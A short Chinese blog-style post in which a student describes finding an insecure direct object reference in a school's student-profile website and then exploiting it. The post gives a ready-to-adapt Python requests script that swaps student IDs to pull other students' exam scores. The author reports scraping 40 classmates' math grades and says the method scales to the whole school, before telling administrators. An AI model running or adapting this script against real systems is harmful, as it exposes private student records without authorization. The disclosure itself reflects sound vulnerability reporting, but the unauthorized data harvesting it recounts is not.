学校新推出了一个学生个人画像,新系统总归会有点漏洞,测试一波。
访问网址https://cloud-huaxiang.****.cn#顶级域名隐去
登录个人账号进入学生画像,抓包发现有一个组件的请求返回了考试分数
进一步观察请求 发现传递了token,cookie,学号(学号被加载在url中传递)
https://cloud-huaxiang.****.cn/#/studentPortrait?loginId=********
简单粗暴莽一波,cookie,token使用自己的,改变url中加载的学号,发现仍能访问。
说明后端只检查cookie和token是否属于学生而不检查具体是哪一个学生,存在水平越权。
用python随手写了个脚本,爬了本班40位同学的数学期中成绩。
构造headers,data,cookies之后用request.post方式获取响应,打印学号和成绩
"""
有两个地方需要改成自己的,cookies中的who和headers中的****—access—token
"""
import requests
def get(no):
cookies = {
'who': '****************',#cookie(人工登录自己账号后抓包或者用浏览器自带的开发者工具(fn+f12)获取)
}
headers = {
'authority': 'cloud-huaxiang.****.cn',
'accept': 'application/json, text/plain, */*',
'fdfz-authorize-state': 'web',
'content-type': 'application/json;charset=UTF-8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68',
'fdfz-access-token': '***********************************************',#token(人工登录自己账号后抓包或者用浏览器自带的开发者工具(fn+f12)获取)
'origin': 'https://cloud-huaxiang.****.cn',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://cloud-huaxiang.****.cn/',
'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6',
}
json_data = {
'lessonName': '数学',
'loginId': no,
'schoolYear': '2021',
'semesterName': '第一学期',
}
response = requests.post('https://cloud-huaxiang.****.cn/fudan-portrait/api/portrait/getLessonAcademicTrend', cookies=cookies, headers=headers, json=json_data)
return response
for i in range(20231001,20231041):
print("学号:",i)
print(get(i).text)
以此类推设置学号范围 考试 科目 可获取全校的各科成绩
将漏洞告知学校管理人员,现在网站已停止访问